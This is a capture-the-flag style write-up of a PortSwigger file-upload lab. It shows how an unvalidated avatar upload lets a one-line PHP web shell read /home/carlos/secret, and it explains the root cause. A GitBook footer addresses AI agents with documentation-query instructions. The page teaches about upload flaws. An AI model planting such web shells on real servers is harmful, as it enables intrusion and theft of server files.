> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/cybersecurity-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-file-upload-labs/lab-1.md).

# lab-1

## Remote Code Execution via Web Shell Upload

**Difficulty:** Apprentice

### Lab Description

This lab contains a vulnerable image upload function. It performs no validation on uploaded files before storing them on the server's filesystem.

**Objective:** Upload a basic PHP web shell and use it to exfiltrate the contents of `/home/carlos/secret`. Submit the secret using the button in the lab banner.

**Credentials:** `wiener:peter`

### Root Cause

The developers added no defence against malicious file uploads. With no validation of the filename, extension, or content type, an attacker can upload any file — including a PHP script — and have it stored and served by the server, leading to remote code execution and arbitrary command execution.

### Exploitation

1. Log in as `wiener:peter` and navigate to the account page.
2. Create a file named `php.php` with the following content:

   ```php
   <?php echo file_get_contents('/home/carlos/secret'); ?>
   ```
3. Upload `php.php` as the avatar.
4. Right-click the avatar and select **Open image in new tab** — the server executes the PHP file and the secret is returned in the response.
5. Submit the secret to complete the lab.

### Lesson Learned

Never leave a file upload feature without defences. Accepting files with no validation of filename, extension, or content type allows an attacker to upload and execute arbitrary server-side scripts, leading to remote code execution.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-file-upload-labs/lab-1.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
